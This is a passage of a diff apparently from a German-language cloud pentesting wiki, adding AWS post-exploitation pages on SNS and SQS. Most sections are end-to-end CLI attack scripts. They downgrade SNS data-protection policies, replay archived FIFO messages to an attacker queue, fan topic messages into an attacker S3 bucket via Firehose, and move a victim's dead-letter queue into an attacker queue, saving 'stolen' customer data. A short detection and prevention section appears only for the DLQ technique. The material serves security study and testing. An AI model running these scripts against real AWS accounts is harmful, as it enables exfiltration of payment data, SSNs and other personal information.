+3) Abonnieren Sie die Angreifer-Queue und veröffentlichen Sie eine Nachricht mit einer Test-Kreditkartennummer, prüfen Sie die Maskierung
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Erwarteter Ausschnitt zeigt Maskierung (Hashes):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Downgrade die Policy auf audit-only (keine deidentify/deny-Anweisungen, die Outbound betreffen)
+
+Für SNS müssen Audit statements Inbound sein. Das Ersetzen der Policy durch eine Audit-only Inbound statement entfernt jegliche Outbound de-identification, sodass Nachrichten unverändert an subscribers weitergeleitet werden.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Publish die gleiche Nachricht und verifiziere, dass der unmaskierte Wert geliefert wird
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Erwarteter Auszug zeigt Klartext-CC:
+```text
+4539894458086459
+```
+## Auswirkungen
+- Das Umschalten eines Topics von de-identification/deny auf audit-only (oder das anderweitige Entfernen von Outbound-Kontrollen) erlaubt es PII/secrets, unverändert an von Angreifern kontrollierte Subscriptions weitergeleitet zu werden und ermöglicht damit Datenexfiltration, die sonst maskiert oder blockiert worden wäre.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md

@@ -0,0 +1,100 @@
+# SNS FIFO Archiv-Wiedergabe-Exfiltration über Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauch der Amazon SNS FIFO Topic-Nachrichtenarchivierung, um zuvor veröffentlichte Nachrichten wiederzugeben und an eine von Attacker kontrollierte SQS FIFO-Queue zu exfiltrieren, indem die Subscription `ReplayPolicy` gesetzt wird.
+
+- Dienst: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Voraussetzungen: Topic muss `ArchivePolicy` aktiviert haben (Nachrichtenarchivierung). Attacker kann sich auf das Topic Subscribe und Attribute auf ihrer Subscription setzen. Attacker kontrolliert eine SQS FIFO-Queue und erlaubt dem Topic, Nachrichten zu senden.
+- Auswirkung: Historische Nachrichten (vor der Subscription veröffentlichte) können an den Attacker-Endpunkt zugestellt werden. Wiedergegebene Zustellungen werden im SNS-Envelope mit `Replayed=true` gekennzeichnet.
+
+## Preconditions
+- SNS FIFO topic mit aktivierter Archivierung: `ArchivePolicy` (z. B. `{ "MessageRetentionPeriod": "2" }` für 2 Tage).
+- Attacker hat Berechtigungen für:
+- `sns:Subscribe` auf dem Ziel-Topic.
+- `sns:SetSubscriptionAttributes` auf der erstellten Subscription.
+- Attacker hat eine SQS FIFO-Queue und kann eine Queue-Policy anhängen, die `sns:SendMessage` vom Topic-ARN erlaubt.
+
+## Minimum IAM permissions
+- Auf dem Topic: `sns:Subscribe`.
+- Auf der Subscription: `sns:SetSubscriptionAttributes`.
+- Auf der Queue: `sqs:SetQueueAttributes` für die Policy, und eine Queue-Policy, die `sns:SendMessage` vom Topic-ARN erlaubt.
+
+## Angriff: Wiedergabe archivierter Nachrichten an Attacker SQS FIFO
+Der Attacker subscribed seine SQS FIFO-Queue am Opfer-SNS-FIFO-Topic und setzt dann die `ReplayPolicy` auf einen Zeitstempel in der Vergangenheit (innerhalb des Archivaufbewahrungsfensters). SNS spielt sofort passende archivierte Nachrichten an die neue Subscription zurück und kennzeichnet sie mit `Replayed=true`.
+
+Hinweise:
+- Der in der `ReplayPolicy` verwendete Zeitstempel muss >= dem `BeginningArchiveTime` des Topics sein. Ist er früher, gibt die API `Invalid StartingPoint value` zurück.
+- Für SNS FIFO `Publish` muss ein `MessageGroupId` angegeben werden (und entweder eine Dedup-ID oder `ContentBasedDeduplication` aktiviert sein).
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Auswirkungen
+**Potentielle Auswirkungen**: Ein Angreifer, der sich bei einem SNS FIFO topic mit aktivierter Archivierung abonnieren kann und `ReplayPolicy` auf seiner Subscription setzt, kann sofort historische Nachrichten, die an dieses Topic veröffentlicht wurden, replayen und exfiltrieren, nicht nur Nachrichten, die nach Erstellung der Subscription gesendet wurden. Gelieferte Nachrichten enthalten ein `Replayed=true` Flag im SNS envelope.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche das Firehose-Subscription-Protokoll, um einen vom Angreifer kontrollierten Kinesis Data Firehose delivery stream an einem Opfer-SNS-Standard-Topic zu registrieren. Sobald die Subscription eingerichtet ist und die erforderliche IAM-Rolle `sns.amazonaws.com` vertraut, wird jede zukünftige Benachrichtigung dauerhaft in den S3-Bucket des Angreifers geschrieben — mit minimalem Lärm.
+
+## Anforderungen
+- Berechtigungen im Angreiferkonto, um einen S3-Bucket, einen Firehose delivery stream und die von Firehose verwendete IAM-Rolle zu erstellen (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- Die Möglichkeit, sich mit `sns:Subscribe` am Opfer-Topic zu abonnieren (und optional `sns:SetSubscriptionAttributes`, falls die Subscription-Rollen-ARN nach der Erstellung angegeben wird).
+- Eine Topic-Policy, die dem Angreifer-Principal das Abonnieren erlaubt (oder der Angreifer bereits im selben Account agiert).
+
+## Angriffsschritte (Beispiel im selben Account)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Bereinigung
+- Lösche die SNS-Subscription, den Firehose-Delivery-Stream, temporäre IAM-Rollen/-Policies und den S3-Bucket des Angreifers.
+
+## Auswirkung
+**Mögliche Auswirkung**: Kontinuierliche, dauerhafte exfiltration jeder Nachricht, die an das gezielte SNS-Topic veröffentlicht wird, in vom Angreifer kontrollierten Speicher mit minimaler operativer Spur.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Beschreibung
+
+Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Message-Recovery-Funktion von AWS, um sensible Daten zu exfiltrieren, die sich im Laufe der Zeit in DLQs angesammelt haben.
+
+## Was ist eine Dead-Letter Queue (DLQ)?
+
+Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:
+- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
+- Fehlerdetails und Debugging-Informationen
+- Personenbezogene Daten (PII)
+- API-Token, Anmeldeinformationen oder andere Geheimnisse
+- Geschäftskritische Transaktionsdaten
+
+DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die von Anwendungen nicht korrekt verarbeitet werden konnten.
+
+## Angriffsszenario
+
+**Beispiel aus der Praxis:**
+1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
+2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
+3. **Die DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Angreifer erlangt Zugriff** auf AWS-Credentials mit SQS-Berechtigungen
+5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
+6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), nutzt der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten gesammelt in seine eigene Queue zu übertragen
+7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
+
+## Voraussetzungen
+- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
+- IAM-Berechtigungen (ausgeführt als kompromittierte Opfer-Principal):
+- Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies üblicherweise standardmäßig erlaubt.
+- Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Auswirkung
+Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Verwendung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Ziel-Queue-Policy `SendMessage` vom Opfer-Principal erlaubt.
+
+## Missbrauch
+
+- Identifiziere die DLQ-ARN des Opfers und stelle sicher, dass sie tatsächlich von mindestens einer Queue als DLQ referenziert wird (jede Queue reicht).
+- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und beschaffe deren ARN.
+- Starte eine Message-Move-Task von der DLQ des Opfers zu deiner Ziel-Queue.
+- Überwache den Fortschritt oder breche ab, falls nötig.
+
+### CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ
+
+**Szenario**: Ein Angreifer hat AWS-Credentials kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellungsverarbeitung enthält.
+
+1) **DLQ des Opfers finden und untersuchen**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Führe den massenhaften Nachrichtendiebstahl durch**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Sammle die gestohlenen sensiblen Daten**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Cross-Account-Hinweise
+- Die Ziel-Queue muss eine Resource-Policy haben, die dem victim principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
+
+## Warum dieser Angriff effektiv ist
+
+1. **Legitime AWS-Funktion**: Verwendet eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
+2. **Massenoperation**: Überträgt tausende Nachrichten schnell, statt über langsamen Einzelzugriff
+3. **Historische Daten**: DLQs sammeln über Wochen/Monate sensible Daten an
+4. **Unauffällig**: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
+5. **Cross-Account-fähig**: Kann in das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es erlauben
+
+## Erkennung und Prävention
+
+### Erkennung
+Überwache CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prävention
+1. **Prinzip der geringsten Privilegien**: Beschränke die Berechtigungen `sqs:StartMessageMoveTask` ausschließlich auf die notwendigen Rollen
+2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivitäten ein
+3. **Kontenübergreifende Richtlinien**: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontenübergreifenden Zugriff erlauben
+4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
+5. **Regelmäßige Bereinigung**: Lasse sensible Daten nicht unbegrenzt in DLQs ansammeln

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -1,73 +0,0 @@
-# AWS - SQS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was möglicherweise zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Potenzielle Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Potenzielle Auswirkungen**: Sensible Informationen stehlen, Nachrichtenverlust, Datenkorruption und Dienstunterbrechung für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
-
-### `sqs:DeleteQueue`
-
-Ein Angreifer könnte eine gesamte SQS-Warteschlange löschen, was zu Nachrichtenverlust und Auswirkungen auf Anwendungen führt, die auf die Warteschlange angewiesen sind.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die die gelöschte Warteschlange verwenden.
-
-### `sqs:PurgeQueue`
-
-Ein Angreifer könnte alle Nachrichten aus einer SQS-Warteschlange löschen, was zu Nachrichtenverlust und potenzieller Störung von Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die entfernten Nachrichten angewiesen sind.
-
-### `sqs:SetQueueAttributes`
-
-Ein Angreifer könnte die Attribute einer SQS-Warteschlange ändern, was möglicherweise ihre Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu einer verringerten Leistung, Sicherheitsproblemen oder reduzierter Verfügbarkeit führen.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Ein Angreifer könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
-
-### `sqs:RemovePermission`
-
-Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerrufen, indem er Richtlinien entfernt, die mit der SQS-Warteschlange verbunden sind. Dies könnte zu Störungen im normalen Betrieb von Anwendungen führen, die auf die Warteschlange angewiesen sind.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md

@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Queue senden, was potenziell zu Datenkorruption, dem Auslösen unbeabsichtigter Aktionen oder zur Erschöpfung von Ressourcen führen kann.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Mögliche Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder deren Sichtbarkeit ändern, was zum Verlust von Nachrichten, zur Datenkorruption oder zur Dienstunterbrechung für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Mögliche Auswirkungen**: Diebstahl sensibler Informationen, Verlust von Nachrichten, Datenbeschädigung und Dienstunterbrechungen für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
+
+### `sqs:DeleteQueue`
+
+Ein Angreifer könnte eine gesamte SQS queue löschen, was zum Verlust von Nachrichten führt und Anwendungen beeinträchtigt, die auf die queue angewiesen sind.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Mögliche Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die die gelöschte Queue verwenden.
+
+### `sqs:PurgeQueue`
+
+Ein Angreifer könnte alle Nachrichten aus einer SQS-Queue löschen, was zu Nachrichtenverlust und möglicher Beeinträchtigung von Anwendungen führt, die auf diese Nachrichten angewiesen sind.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Potentielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechungen für Anwendungen, die auf die gelöschten Nachrichten angewiesen sind.
+
+### `sqs:SetQueueAttributes`
+
+Ein Angreifer könnte die Attribute einer SQS-Queue ändern, was möglicherweise deren Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Potentielle Auswirkungen**: Fehlkonfigurationen, die zu verschlechterter Leistung, Sicherheitsproblemen oder verringerter Verfügbarkeit führen.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+An attacker könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entfernen und so die Kostenallokation, Ressourcenverfolgung und auf Tags basierenden Zugriffskontrollrichtlinien Ihrer Organisation stören.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Potentielle Auswirkungen**: Beeinträchtigung der Kostenallokation, der Ressourcenverfolgung und tag-basierter Zugriffskontrollrichtlinien.
+
+### `sqs:RemovePermission`
+
+Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerrufen, indem er Richtlinien entfernt, die mit der SQS-Queue verknüpft sind. Dies könnte zu Störungen im normalen Betrieb von Anwendungen führen, die auf die Queue angewiesen sind.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Mögliche Auswirkungen**: Störung der normalen Funktionalität von Anwendungen, die auf die Queue angewiesen sind, durch unbefugtes Entfernen von Berechtigungen.
+
+### Weitere SQS Post-Exploitation Techniken
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

